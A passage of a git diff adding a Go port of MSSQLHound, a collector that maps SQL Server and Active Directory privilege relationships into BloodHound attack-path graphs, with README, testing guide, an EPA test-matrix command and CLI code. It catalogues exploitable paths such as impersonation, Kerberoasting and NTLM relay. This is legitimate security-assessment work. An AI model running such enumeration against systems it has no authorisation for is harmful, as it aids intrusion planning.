+|--------|------------|-----| +| **Duplicates** | May emit duplicate edges | De-duplicates all edges | + +**Why Go has fewer edges**: The PowerShell version may emit the same AddMember edge multiple times in certain scenarios. Go ensures each unique edge is only emitted once. + +### Connection Handling + +The Go version includes automatic PowerShell fallback for servers that fail with the native `go-mssqldb` driver: + +``` +Native connection: go-mssqldb (fast, cross-platform) + ↓ fails with "untrusted domain" error +Fallback: PowerShell + System.Data.SqlClient (Windows only, more compatible) +``` + +This ensures maximum compatibility while maintaining performance for the majority of servers. + +### LDAP Connection Methods + +The Go version tries multiple LDAP connection methods in order: + +1. **LDAPS (port 636)** - TLS encrypted, most secure +2. **LDAP + StartTLS (port 389)** - Upgrade to TLS +3. **Plain LDAP (port 389)** - Unencrypted (may fail if DC requires signing) +4. **PowerShell/ADSI Fallback** - Windows COM-based fallback + +## Output Format + +MSSQLHound produces BloodHound OpenGraph JSON files containing: + +### Node Types +- `MSSQLServer` - SQL Server instances +- `MSSQLLogin` - Server-level logins +- `MSSQLServerRole` - Server roles (sysadmin, securityadmin, etc.) +- `MSSQLDatabase` - Databases +- `MSSQLDatabaseUser` - Database users +- `MSSQLDatabaseRole` - Database roles (db_owner, db_securityadmin, etc.) + +### Edge Types + +The Go implementation supports 51 edge kinds with full feature parity to the PowerShell version: + +| Edge Kind | Description | Traversable | +|-----------|-------------|-------------| +| `MSSQL_MemberOf` | Principal is a member of a role, inheriting all role permissions | Yes | +| `MSSQL_IsMappedTo` | Login is mapped to a database user, granting automatic database access | Yes | +| `MSSQL_Contains` | Containment relationship showing hierarchy (Server→DB, DB→User, etc.) | Yes | +| `MSSQL_Owns` | Principal owns an object, providing full control | Yes | +| `MSSQL_ControlServer` | Has CONTROL SERVER permission, granting sysadmin-equivalent control | Yes | +| `MSSQL_ControlDB` | Has CONTROL on database, granting db_owner-equivalent permissions | Yes | +| `MSSQL_ControlDBRole` | Has CONTROL on database role, allowing full control including member management | Yes | +| `MSSQL_ControlDBUser` | Has CONTROL on database user, allowing impersonation | Yes | +| `MSSQL_ControlLogin` | Has CONTROL on login, allowing impersonation and password changes | Yes | +| `MSSQL_ControlServerRole` | Has CONTROL on server role, allowing member management | Yes | +| `MSSQL_Impersonate` | Can impersonate target principal | Yes | +| `MSSQL_ImpersonateAnyLogin` | Can impersonate any server login | Yes | +| `MSSQL_ImpersonateDBUser` | Can impersonate specific database user | Yes | +| `MSSQL_ImpersonateLogin` | Can impersonate specific server login | Yes | +| `MSSQL_ChangePassword` | Can change target's password without knowing current password | Yes | +| `MSSQL_AddMember` | Can add members to target role | Yes | +| `MSSQL_Alter` | Has ALTER permission on target object | No | +| `MSSQL_AlterDB` | Has ALTER permission on database | No | +| `MSSQL_AlterDBRole` | Has ALTER permission on database role | No | +| `MSSQL_AlterServerRole` | Has ALTER permission on server role | No | +| `MSSQL_Control` | Has CONTROL permission on target object | No | +| `MSSQL_ChangeOwner` | Can take ownership via TAKE OWNERSHIP permission | Yes | +| `MSSQL_AlterAnyLogin` | Can alter any login on the server | No | +| `MSSQL_AlterAnyServerRole` | Can alter any server role | No | +| `MSSQL_AlterAnyRole` | Can alter any role (generic) | No | +| `MSSQL_AlterAnyDBRole` | Can alter any database role | No | +| `MSSQL_AlterAnyAppRole` | Can alter any application role | No | +| `MSSQL_GrantAnyPermission` | Can grant ANY server permission (securityadmin capability) | Yes | +| `MSSQL_GrantAnyDBPermission` | Can grant ANY database permission (db_securityadmin capability) | Yes | +| `MSSQL_LinkedTo` | Linked server connection to another SQL Server | Yes | +| `MSSQL_LinkedAsAdmin` | Linked server with admin privileges on remote server | Yes | +| `MSSQL_ExecuteAsOwner` | TRUSTWORTHY DB allows privilege escalation via owner permissions | Yes | +| `MSSQL_IsTrustedBy` | Database has TRUSTWORTHY enabled | Yes | +| `MSSQL_HasDBScopedCred` | Database has database-scoped credential for external auth | No | +| `MSSQL_HasMappedCred` | Login has mapped credential | No | +| `MSSQL_HasProxyCred` | Principal can use SQL Agent proxy account | No | +| `MSSQL_ServiceAccountFor` | Domain account is service account for SQL Server | Yes | +| `MSSQL_HostFor` | Computer hosts the SQL Server instance | Yes | +| `MSSQL_ExecuteOnHost` | SQL Server can execute OS commands on host | Yes | +| `MSSQL_TakeOwnership` | Has TAKE OWNERSHIP permission | Yes | +| `MSSQL_DBTakeOwnership` | Has TAKE OWNERSHIP on database | Yes | +| `MSSQL_CanExecuteOnServer` | Can execute code on server | Yes | +| `MSSQL_CanExecuteOnDB` | Can execute code on database | Yes | +| `MSSQL_Connect` | Has CONNECT SQL permission | No | +| `MSSQL_ConnectAnyDatabase` | Can connect to any database | No | +| `MSSQL_ExecuteAs` | Can execute as target (action edge) | Yes | +| `MSSQL_HasLogin` | Domain account has SQL Server login | Yes | +| `MSSQL_GetTGS` | Service account SPN enables Kerberoasting | Yes | +| `MSSQL_GetAdminTGS` | Service account SPN enables Kerberoasting with admin access | Yes | +| `HasSession` | AD account has session on computer | Yes | +| `CoerceAndRelayToMSSQL` | EPA disabled, enables NTLM relay attacks | Yes | + +**Note:** Traversable edges represent attack paths that can be directly exploited. Non-traversable edges provide context but may not always be directly abusable. + +## CVE Detection + +The Go version includes detection for SQL Server vulnerabilities: + +### CVE-2025-49758 +Checks if the SQL Server version is vulnerable to CVE-2025-49758 and reports the status: +- `VULNERABLE` - Server is running an affected version +- `NOT vulnerable` - Server has been patched + +## Known Limitations and Issues + +### Windows Authentication on Non-Windows Platforms + +Windows Integrated Authentication (SSPI/Kerberos) is only available when running on Windows. On Linux/macOS, use SQL authentication instead. + +### GSSAPI/Kerberos Authentication Issues + +The Go LDAP library's GSSAPI implementation may fail in certain environments with errors like: + +``` +LDAP Result Code 49 "Invalid Credentials": 80090346: LdapErr: DSID-0C0906CF, +comment: AcceptSecurityContext error, data 80090346 +``` + +**Common causes:** +- Channel binding token (CBT) mismatch between client and server +- Kerberos ticket issues (expired, clock skew, wrong realm) +- Domain controller requires specific LDAP signing/sealing options + +**Solutions:** + +1. **Use explicit LDAP credentials** (recommended for `--scan-all-computers`): + ```bash + ./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password" + ``` + +2. **Verify Kerberos tickets**: + ```bash + klist # Check current tickets + klist purge # Clear and re-acquire tickets + ``` + +3. **Check time synchronization** - Kerberos requires clocks within 5 minutes + +### LDAP Size Limits + +Active Directory has a default maximum result size of 1000 objects per query. The Go version implements LDAP paging to handle domains with more than 1000 computers or SPNs. If you see "Size Limit Exceeded" errors, ensure you're using the latest version. + +### SQL Server SSPI Compatibility + +Some SQL Server instances with specific SSPI configurations may fail to connect with the native Go driver. + +**Symptom:** +``` +Login failed. The login is from an untrusted domain and cannot be used with Windows authentication +``` + +**Automatic Handling:** The Go version detects this error and automatically retries using PowerShell's `System.Data.SqlClient`, which handles these edge cases more reliably. This fallback requires PowerShell to be available on the system. + +### PowerShell Fallback Limitations + +The PowerShell fallback for SQL connections and AD enumeration requires: +- Windows operating system +- PowerShell execution not blocked by security policy +- Access to `System.Data.SqlClient` (.NET Framework) + +If PowerShell is blocked (e.g., `Access is denied` error), the fallback will not work. In this case: +- For SQL connections: Some servers may not be reachable +- For AD enumeration: Use explicit LDAP credentials instead + +### When to Use LDAP Credentials + +Use `--ldap-user` and `--ldap-password` when: + +1. **Full domain computer enumeration** (`--scan-all-computers`) - GSSAPI often fails with the Go library due to CBT issues +2. **Cross-domain scenarios** - When enumerating from a machine in a different domain +3. **Service account execution** - When running as a service account that may have Kerberos delegation issues +4. **Troubleshooting GSSAPI failures** - As a workaround when implicit authentication fails + +**Example:** +```bash +# Recommended for large domain enumeration +./mssqlhound --scan-all-computers \ + --ldap-user "DOMAIN\svc_mssqlhound" \ + --ldap-password "SecurePassword123" \ + -w 50 +``` + +## Troubleshooting + +### Verbose Output + +Use `-v` or `--verbose` to see detailed connection attempts and errors: + +```bash +./mssqlhound -s sql.contoso.com -v +``` + +### Common Error Messages + +| Error | Cause | Solution | +|-------|-------|----------| +| `untrusted domain` | SSPI negotiation failed | Automatic PowerShell fallback; check domain trust | +| `Size Limit Exceeded` | Too many LDAP results | Update to latest version (has paging) | +| `80090346` | GSSAPI/Kerberos failure | Use explicit LDAP credentials | +| `Strong Auth Required` | DC requires LDAP signing | Will automatically try LDAPS/StartTLS | +| `Access is denied` (PowerShell) | Execution policy blocked | Use explicit LDAP credentials instead | + +### Debug LDAP Connection + +The verbose output shows which LDAP connection methods are attempted: + +``` +LDAPS:636 GSSAPI: +LDAP:389+StartTLS GSSAPI: +LDAP:389 GSSAPI: +``` + +This helps identify whether the issue is TLS-related or authentication-related. + +## License + +GPLv3 License - see LICENSE file. + +## Credits + +- Original PowerShell version by Chris Thompson (@_Mayyhem) at SpecterOps +- Go port by Javier Azofra at Siemens Healthineers + diff --git a/go/TESTING.md b/go/TESTING.md new file mode 100644 index 0000000..2900e2d --- /dev/null +++ b/go/TESTING.md @@ -0,0 +1,391 @@ +# MSSQLHound Go - Testing Guide + +This document covers how to run and write tests for the MSSQLHound Go port. + +## Quick Start + +```bash +cd go + +# Run all unit tests +go test ./... + +# Verbose output +go test -v ./... + +# Run a specific test by name +go test -v -run TestContainsEdges ./internal/collector/... +``` + +## Test Architecture + +Tests are split into two categories separated by Go build tags: + +| Category | Build Tag | Requirements | +|----------|-----------|-------------| +| **Unit tests** | _(none)_ | None — runs anywhere with `go test` | +| **Integration tests** | `integration` | Live SQL Server + Active Directory environment | + +### File Layout + +``` +go/internal/collector/ +├── collector_test.go # Core unit tests (node/edge creation, JSON output) +├── cve_test.go # CVE version-parsing tests +├── edge_unit_test.go # Per-edge-type unit tests (data builders + test runners) +├── edge_test_helpers_test.go # Shared utilities: pattern matching, assertions, edge runner +├── edge_test_data_test.go # Test case definitions (translated from PS1) +├── integration_sql_test.go # Embedded SQL setup/cleanup scripts (build:integration) +├── integration_setup_test.go # Integration environment setup/teardown (build:integration) +├── integration_report_test.go # Coverage analysis & HTML reporting (build:integration) +└── edge_integration_test.go # Live edge validation (build:integration) + +go/internal/mssql/ +└── ntlm_auth_test.go # NTLM hash & message tests (MS-NLMP spec vectors) +``` + +## Unit Tests + +### Running + +```bash +# All unit tests +go test ./... + +# Collector package only +go test ./internal/collector/... + +# MSSQL/NTLM package only +go test ./internal/mssql/... + +# Single test function +go test -v -run TestEdgeCreation ./internal/collector/... + +# Pattern match (runs all tests with "MemberOf" in the name) +go test -v -run MemberOf ./internal/collector/... +``` + +### Edge Unit Tests + +The bulk of the unit test suite validates that the correct BloodHound edges are (or are not) created for a given SQL Server configuration. Each edge type has: + +1. **A data builder** in `edge_unit_test.go` — constructs a mock `ServerInfo` with the principals, permissions, and role memberships needed to exercise that edge type. +2. **A set of test cases** in `edge_test_data_test.go` — declarative expectations translated 1:1 from the PowerShell test suite (`Invoke-MSSQLHoundUnitTests.ps1`). +3. **A test function** in `edge_unit_test.go` — calls the builder, runs edge creation, then asserts all cases. + +Example flow for `MSSQL_AddMember`: + +```go +// 1. Builder creates mock server state +func buildAddMemberTestData() *types.ServerInfo { + info := baseServerInfo() + addSQLLogin(info, "AddMemberTest_Login_CanAlterServerRole", + withPermissions(perm("ALTER", "GRANT", "SERVER_ROLE", "AddMemberTest_ServerRole_..."))) + // ... + return info +} + +// 2. Test cases define expectations +var addMemberTestCases = []edgeTestCase{ + { + EdgeType: "MSSQL_AddMember", + Description: "Login with ALTER on role can add members", + SourcePattern: "AddMemberTest_Login_CanAlterServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ALTER ANY SERVER ROLE CANNOT add to sysadmin", + Negative: true, + Reason: "sysadmin role does not accept new members via ALTER ANY SERVER ROLE", + // ... + }, +} + +// 3. Test function ties them together +func TestAddMemberEdges(t *testing.T) { + info := buildAddMemberTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, addMemberTestCases, "offensive") +} +``` + +### Test Case Structure + +Each `edgeTestCase` specifies: + +| Field | Description | +|-------|-------------| +| `EdgeType` | BloodHound edge kind (e.g. `MSSQL_AddMember`) | +| `Description` | Human-readable explanation | +| `SourcePattern` | Glob pattern for edge source (`*` and `?` wildcards) | +| `TargetPattern` | Glob pattern for edge target | +| `Perspective` | `"offensive"`, `"defensive"`, or `"both"` | +| `Negative` | If `true`, asserts the edge must **not** exist | +| `Reason` | Explanation for negative test cases | +| `EdgeProperties` | Property assertions (e.g. `"traversable": true`) | +| `ExpectedCount` | Assert exactly N matching edges | + +### Data Builder Helpers + +Mock data is constructed using a functional options pattern: + +```go +// Server-level +addSQLLogin(info, "name", withPermissions(...), withMemberOf(...)) +addWindowsLogin(info, "DOMAIN\\user", sid, withMemberOf(...)) +addWindowsGroup(info, "DOMAIN\\group", sid) +addServerRole(info, "roleName") +addLinkedServer(info, "remote.server", withLinkedLogin(...)) +addCredential(info, "credName", "DOMAIN\\identity") + +// Database-level +db := addDatabase(info, "dbName") +addDatabaseUser(db, "userName", withDBPermissions(...)) +addWindowsUser(db, "DOMAIN\\user", withDBMemberOf(...)) +addDatabaseRole(db, "roleName", isFixedRole) +addAppRole(db, "appRoleName") +addDBScopedCredential(db, "credName", "identity") + +// Permission/role helpers +perm("CONTROL SERVER", "GRANT", "SERVER") +roleMembership("sysadmin", serverOID) +``` + +### Assertion Helpers + +The test helpers in `edge_test_helpers_test.go` provide: + +- `findEdges(edges, kind, sourcePattern, targetPattern)` — find matching edges using glob patterns +- `assertEdgeExists(t, edges, kind, source, target)` — fail if no match +- `assertEdgeNotExists(t, edges, kind, source, target)` — fail if a match exists +- `assertEdgeCount(t, edges, kind, source, target, n)` — fail if count != n +- `assertEdgeProperty(t, edge, key, expected)` — fail if property doesn't match + +### Other Unit Tests + +- **`TestEdgeCreation`** (`collector_test.go`) — end-to-end test that builds mock data, creates nodes/edges via the collector, writes JSON output, and verifies the result parses correctly. +- **`TestParseSQLVersion` / `TestCVEVulnerability`** (`cve_test.go`) — table-driven tests for SQL Server version parsing and CVE detection. +- **`TestNTLMv2Hash` / `TestNTProofStr` / `TestCBTComputation`** (`ntlm_auth_test.go`) — validates NTLM authentication against MS-NLMP specification test vectors. + +## Integration Tests + +Integration tests run against a live SQL Server and Active Directory environment. They are gated behind the `integration` build tag and are **not** included in `go test ./...`. + +### Prerequisites + +- SQL Server instance with sysadmin access +- Active Directory domain with LDAP write access (for creating test objects) + +### Environment Variables + +| Variable | Default | Description | +|----------|---------|-------------| +| `MSSQL_SERVER` | `ps1-db.mayyhem.com` | SQL Server instance | +| `MSSQL_USER` | _(empty = Windows auth)_ | Sysadmin username | +| `MSSQL_PASSWORD` | | Sysadmin password | +| `MSSQL_DOMAIN` | `$USERDOMAIN` | AD domain name | +| `MSSQL_DC` | _(auto-discover)_ | Domain controller IP | +| `LDAP_USER` | | LDAP username for AD object creation | +| `LDAP_PASSWORD` | | LDAP password | +| `MSSQL_PERSPECTIVE` | `both` | `offensive`, `defensive`, or `both` | +| `MSSQL_LIMIT_EDGE` | _(all)_ | Limit to a specific edge type | +| `MSSQL_SKIP_DOMAIN` | `false` | Skip AD object creation | +| `MSSQL_ACTION` | `all` | `all`, `setup`, `test`, `teardown`, `coverage` | +| `MSSQL_SKIP_HTML` | `false` | Skip HTML coverage report | +| `MSSQL_ZIP` | | Path to existing .zip to validate | +| `MSSQL_ENUM_USER` | `lowpriv` | Low-privilege enumeration user | +| `MSSQL_ENUM_PASSWORD` | `password` | Enumeration password | + +### Running Integration Tests + +```bash +# Full cycle: setup -> test -> coverage -> teardown +MSSQL_SERVER=sql.example.com \ +MSSQL_USER=sa \ +MSSQL_PASSWORD='P@ssw0rd' \ +MSSQL_DOMAIN=example.com \ +MSSQL_DC=10.0.0.1 \ +LDAP_USER='EXAMPLE\admin' \ +LDAP_PASSWORD='LdapP@ss' \ +go test -v -tags integration -timeout 30m -run TestIntegrationAll ./internal/collector/... + +# Individual phases +go test -v -tags integration -run TestIntegrationSetup ./internal/collector/... +go test -v -tags integration -run TestIntegrationEdges ./internal/collector/... +go test -v -tags integration -run TestIntegrationCoverage ./internal/collector/... +go test -v -tags integration -run TestIntegrationTeardown ./internal/collector/... + +# Validate an existing MSSQLHound zip output +MSSQL_ZIP=/path/to/output.zip \ +go test -v -tags integration -run TestIntegrationValidateZip ./internal/collector/... + +# Test a single edge type +MSSQL_LIMIT_EDGE=AddMember \ +go test -v -tags integration -run TestIntegrationEdges ./internal/collector/... +``` + +### Integration Test Flow + +1. **Setup** — Uses embedded SQL setup scripts (in `integration_sql_test.go`), creates AD objects (users, groups, computers) via LDAP, and executes SQL batches to build the test environment. +2. **Test** — Runs MSSQLHound against the live server, then validates all expected edges exist (and negative edges do not) using the same `edgeTestCase` definitions as unit tests. +3. **Coverage** — Analyzes which of the 38+ edge types were found and generates an HTML coverage report. +4. **Teardown** — Removes AD objects and drops test databases. + +## Adding a New Edge Type Test + +1. **Define test cases** in `edge_test_data_test.go`: + ```go + var myNewEdgeTestCases = []edgeTestCase{ + { + EdgeType: "MSSQL_MyNewEdge", + Description: "User with SOME_PERM can do something", + SourcePattern: "MyNewTest_Login@*", + TargetPattern: "MyNewTest_Target@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_MyNewEdge", + Description: "User without SOME_PERM cannot do something", + SourcePattern: "MyNewTest_OtherLogin@*", + TargetPattern: "MyNewTest_Target@*", + Negative: true, + Reason: "Missing required permission", + Perspective: "offensive", + }, + } + ``` + +2. **Create a data builder** in `edge_unit_test.go`: + ```go + func buildMyNewEdgeTestData() *types.ServerInfo { + info := baseServerInfo() + addSQLLogin(info, "MyNewTest_Login", + withPermissions(perm("SOME_PERM", "GRANT", "SERVER"))) + addSQLLogin(info, "MyNewTest_OtherLogin") // no permissions + // ... add whatever objects the edge logic needs + return info + } + ``` + +3. **Add the test function** in `edge_unit_test.go`: + ```go + func TestMyNewEdgeEdges(t *testing.T) { + info := buildMyNewEdgeTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, myNewEdgeTestCases, "offensive") + } + ``` + +4. **Run the test**: + ```bash + go test -v -run TestMyNewEdge ./internal/collector/... + ``` + +## Covered Edge Types + +The unit test suite covers 38+ edge types including: + +| Category | Edge Types | +|----------|-----------| +| **Containment** | Contains | +| **Membership** | MemberOf (including nested roles) | +| **Mapping** | IsMappedTo, HasLogin | +| **Ownership** | Owns, ChangeOwner, TakeOwnership | +| **Control** | ControlServer, ControlDB, Control | +| **Permissions** | Connect, ConnectAnyDatabase, Alter, AlterAnyLogin, AlterAnyServerRole, AlterAnyDBRole, AlterAnyAppRole | +| **Granting** | GrantAnyPermission, GrantAnyDBPermission | +| **Impersonation** | Impersonate, ImpersonateAnyLogin, ExecuteAs | +| **Role Management** | AddMember | +| **Credential** | HasMappedCred, HasProxyCred, HasDBScopedCred | +| **Linked Servers** | LinkedTo, LinkedAsAdmin | +| **Execution** | ExecuteAsOwner, ExecuteOnHost | +| **Service Accounts** | GetTGS, GetAdminTGS, ServiceAccountFor | +| **Security** | CoerceAndRelayToMSSQL, ChangePassword | + +Each edge type includes both positive tests (edge is created) and negative tests (edge is NOT created when conditions aren't met). + +## EPA Test Matrix + +The `test-epa-matrix` subcommand systematically validates EPA (Extended Protection for Authentication) detection by cycling through all combinations of SQL Server encryption/protection registry settings, restarting the service for each combination, and running 5 NTLM authentication variations to detect the effective EPA enforcement level. + +### Prerequisites + +- SQL Server instance with WinRM (PowerShell Remoting) access +- Domain credentials with admin privileges on the SQL Server host (to modify registry and restart the service) +- The `mssqlhound` binary (`cd go && go build ./cmd/mssqlhound/`) + +### Running + +```bash +# Basic EPA matrix test +./mssqlhound test-epa-matrix \ + --server sql.example.com \ + --user "EXAMPLE\admin" \ + --password "P@ssw0rd" \ + --domain EXAMPLE.COM + +# Named instance with HTTPS WinRM +./mssqlhound test-epa-matrix \ + --server sql.example.com\SQLEXPRESS \ + --user "EXAMPLE\admin" \ + --password "P@ssw0rd" \ + --domain EXAMPLE.COM \ + --sql-instance-name SQLEXPRESS \ + --winrm-https \ + --winrm-port 5986 + +# SQL Server 2019 or earlier (no strict encryption support) +./mssqlhound test-epa-matrix \ + --server sql.example.com \ + --user "EXAMPLE\admin" \ + --password "P@ssw0rd" \ + --domain EXAMPLE.COM \ + --skip-strict +``` + +### Flags + +| Flag | Default | Description | +|------|---------|-------------| +| `--server` | _(required)_ | SQL Server instance | +| `--user` | _(required)_ | Domain credentials (`DOMAIN\user` format) | +| `--password` | _(required)_ | Password | +| `--domain` | _(required)_ | AD domain name | +| `--winrm-host` | _(auto from server)_ | WinRM target host | +| `--winrm-port` | `5985` | WinRM port (`5986` if `--winrm-https`) | +| `--winrm-https` | `false` | Use HTTPS for WinRM | +| `--winrm-basic` | `false` | Use Basic auth instead of NTLM | +| `--sql-instance-name` | `MSSQLSERVER` | SQL Server instance name for registry lookup | +| `--restart-wait` | `60` | Max seconds to wait for service restart | +| `--post-restart-delay` | `5` | Seconds to wait after service reports Running | +| `--skip-strict` | `false` | Skip `ForceStrictEncryption=1` combinations (pre-SQL Server 2022) | + +### What If Tests + +The matrix tests **12 combinations** (or 6 with `--skip-strict`) of three SQL Server registry settings under `HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\{Instance}\MSSQLServer\SuperSocketNetLib`: + +| Setting | Values | +|---------|--------| +| **ForceEncryption** | 0 (off), 1 (on) | +| **ForceStrictEncryption** | 0 (off), 1 (on) — SQL Server 2022+ only | +| **ExtendedProtection** | 0 (Off), 1 (Allowed), 2 (Required) | + +For each combination, it runs **5 EPA test modes** against the server: + +| Test Mode | Channel Binding | Service Binding | Purpose | +|-----------|----------------|-----------------|---------| +| **Normal** | Correct CBT | Correct SPN | Baseline — should always succeed | +| **BogusCBT** | Wrong hash | Correct SPN | Fails if EPA is enforced | +| **MissingCBT** | Omitted | Correct SPN | Distinguishes Allowed vs Required | +| **BogusService** | Correct CBT | Wrong SPN (`cifs/`) | Fails if EPA is enforced | +| **MissingService** | Omitted | Omitted | Distinguishes Allowed vs Required | + +The detected EPA status (Off / Allowed / Required) is compared against the expected status for each registry combination, and the results are printed as a formatted table with a verdict per row. + +### Safety + +- Original registry settings are saved before the matrix starts +- Settings are restored on completion and on interrupt (Ctrl+C) +- The service is restarted between each combination and the test waits for TCP readiness diff --git a/go/bin/mssqlhound.exe b/go/bin/mssqlhound.exe new file mode 100644 index 0000000..7e0d56f Binary files /dev/null and b/go/bin/mssqlhound.exe differ diff --git a/go/cmd/mssqlhound/cmd_test_epa_matrix.go b/go/cmd/mssqlhound/cmd_test_epa_matrix.go new file mode 100644 index 0000000..906d94d --- /dev/null +++ b/go/cmd/mssqlhound/cmd_test_epa_matrix.go @@ -0,0 +1,172 @@ +package main + +import ( + "context" + "fmt" + "net" + "os" + "strings" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/epamatrix" + "github.com/SpecterOps/MSSQLHound/internal/proxydialer" + "github.com/SpecterOps/MSSQLHound/internal/winrmclient" + "github.com/spf13/cobra" +) + +var ( + winrmHost string + winrmPort int + winrmHTTPS bool + winrmBasic bool + sqlInstanceName string + serviceRestartWaitSec int + postRestartDelaySec int + skipStrictEncryption bool +) + +func newTestEPAMatrixCmd() *cobra.Command { + cmd := &cobra.Command{ + Use: "test-epa-matrix", + Short: "Test all EPA setting combinations against a SQL Server", + Long: `Connects to a SQL Server host via WinRM to configure registry settings, +then tests all 12 combinations of Force Encryption, Force Strict Encryption, +and Extended Protection. For each combination, restarts the SQL Server service +and runs MSSQLHound's EPA detection to verify correctness. + +Requires WinRM access (PowerShell Remoting) to the SQL Server host and +domain credentials (--user/--password in DOMAIN\user format) for both +WinRM and NTLM-based EPA testing. + +WARNING: This command modifies SQL Server registry settings and restarts the +SQL Server service. Original settings are restored when testing completes +or if interrupted (Ctrl+C).`, + RunE: runTestEPAMatrix, + } + + cmd.Flags().StringVar(&winrmHost, "winrm-host", "", "WinRM target host (defaults to SQL Server hostname)") + cmd.Flags().IntVar(&winrmPort, "winrm-port", 5985, "WinRM port") + cmd.Flags().BoolVar(&winrmHTTPS, "winrm-https", false, "Use HTTPS for WinRM (port 5986)") + cmd.Flags().BoolVar(&winrmBasic, "winrm-basic", false, "Use Basic auth instead of NTLM for WinRM (requires AllowUnencrypted on server)") + cmd.Flags().StringVar(&sqlInstanceName, "sql-instance-name", "MSSQLSERVER", "SQL Server instance name for registry lookup") + cmd.Flags().IntVar(&serviceRestartWaitSec, "restart-wait", 60, "Max seconds to wait for SQL Server service restart") + cmd.Flags().IntVar(&postRestartDelaySec, "post-restart-delay", 5, "Seconds to wait after service reports Running before testing") + cmd.Flags().BoolVar(&skipStrictEncryption, "skip-strict", false, "Skip ForceStrictEncryption=1 combinations (for pre-SQL Server 2022)") + + return cmd +} + +func runTestEPAMatrix(cmd *cobra.Command, args []string) error { + if serverInstance == "" { + return fmt.Errorf("--server is required") + } + if userID == "" || password == "" { + return fmt.Errorf("--user and --password are required (DOMAIN\\user format)") + } + + // Configure custom DNS resolver (same logic as root command) + resolver := dnsResolver + if resolver == "" && dcIP != "" { + resolver = dcIP + } + if resolver != "" { + fmt.Printf("Using custom DNS resolver: %s\n", resolver) + var dnsDialFunc func(ctx context.Context, network, address string) (net.Conn, error) + if proxyAddr != "" { + pd, err := proxydialer.New(proxyAddr) + if err != nil { + return fmt.Errorf("failed to create proxy dialer for DNS: %w", err) + } + dnsDialFunc = func(ctx context.Context, network, address string) (net.Conn, error) { + return pd.DialContext(ctx, "tcp", net.JoinHostPort(resolver, "53")) + } + } else { + dnsDialFunc = func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{Timeout: 10 * time.Second} + return d.DialContext(ctx, network, net.JoinHostPort(resolver, "53")) + } + } + net.DefaultResolver = &net.Resolver{ + PreferGo: true, + Dial: dnsDialFunc, + } + } + + // Determine WinRM host - default to SQL server hostname + effectiveWinRMHost := winrmHost + if effectiveWinRMHost == "" { + effectiveWinRMHost = extractHostname(serverInstance) + } + + // Build WinRM client using --user/--password credentials + winrmCfg := winrmclient.Config{ + Host: effectiveWinRMHost, + Port: winrmPort, + Username: userID, + Password: password, + UseHTTPS: winrmHTTPS, + UseBasic: winrmBasic, + Timeout: time.Duration(serviceRestartWaitSec+30) * time.Second, + } + executor, err := winrmclient.New(winrmCfg) + if err != nil { + return fmt.Errorf("failed to create WinRM client: %w", err) + } + + // Use same credentials for EPA testing (NTLM auth) + matrixCfg := &epamatrix.MatrixConfig{ + ServerInstance: serverInstance, + Domain: strings.ToUpper(domain), + LDAPUser: userID, + LDAPPassword: password, + Verbose: verbose, + Debug: debug, + SQLInstanceName: sqlInstanceName, + ServiceRestartWaitSec: serviceRestartWaitSec, + PostRestartDelaySec: postRestartDelaySec, + SkipStrictEncryption: skipStrictEncryption, + ProxyAddr: proxyAddr, + } + + totalCombos := 12 + if skipStrictEncryption { + totalCombos = 6 + } + + authType := "NTLM" + if winrmBasic { + authType = "Basic" + } + + fmt.Printf("MSSQLHound v%s - EPA Matrix Test\n", version) + fmt.Printf("Target SQL Server: %s\n", serverInstance) + fmt.Printf("WinRM host: %s:%d (HTTPS: %v, Auth: %s)\n", effectiveWinRMHost, winrmCfg.Port, winrmHTTPS, authType) + fmt.Printf("SQL Instance: %s\n", sqlInstanceName) + fmt.Printf("Testing %d combinations\n", totalCombos) + fmt.Println() + + ctx := context.Background() + results, runErr := epamatrix.RunMatrix(ctx, matrixCfg, executor) + + // Always print results table even if interrupted + if len(results) > 0 { + fmt.Println() + epamatrix.PrintResultsTable(os.Stdout, results) + epamatrix.Summarize(os.Stdout, results) + } + + return runErr +} + +func extractHostname(serverInstance string) string { + host := serverInstance + // Strip instance name + if idx := strings.Index(host, "\\"); idx != -1 { + host = host[:idx] + } + // Strip port + if h, _, err := net.SplitHostPort(host); err == nil { + host = h + } + return host +} diff --git a/go/cmd/mssqlhound/main.go b/go/cmd/mssqlhound/main.go new file mode 100644 index 0000000..626024c --- /dev/null +++ b/go/cmd/mssqlhound/main.go @@ -0,0 +1,206 @@ +package main + +import ( + "context" + "fmt" + "net" + "os" + "strings" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/collector" + "github.com/SpecterOps/MSSQLHound/internal/proxydialer" + "github.com/spf13/cobra" +) + +var ( + version = "2.0.0" + + // Shared connection options (persistent - inherited by subcommands) + serverInstance string + userID string + password string + domain string + dcIP string + dnsResolver string + ldapUser string + ldapPassword string + verbose bool + debug bool + proxyAddr string + + // Collection-specific options (local to root command) + serverListFile string + serverList string + outputFormat string + tempDir string + zipDir string + fileSizeLimit string + + domainEnumOnly bool + skipLinkedServerEnum bool + collectFromLinkedServers bool + skipPrivateAddress bool + scanAllComputers bool + skipADNodeCreation bool + includeNontraversableEdges bool + makeInterestingEdgesTraversable bool + + linkedServerTimeout int + memoryThresholdPercent int + fileSizeUpdateInterval int + workers int +) + +func main() { + rootCmd := &cobra.Command{ + Use: "mssqlhound", + Short: "MSSQLHound: Collector for adding MSSQL attack paths to BloodHound", + Long: `MSSQLHound: Collector for adding MSSQL attack paths to BloodHound with OpenGraph + +Authors: Chris Thompson (@_Mayyhem) at SpecterOps and Javier Azofra at Siemens Healthineers + +Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual files, then zips them.`, + Version: version, + RunE: run, + } + + // Shared connection flags (persistent - available to subcommands) + rootCmd.PersistentFlags().StringVarP(&serverInstance, "server", "s", "", "SQL Server instance to collect from (host, host:port, or host\\instance)") + rootCmd.PersistentFlags().StringVarP(&userID, "user", "u", "", "SQL login username") + rootCmd.PersistentFlags().StringVarP(&password, "password", "p", "", "SQL login password") + 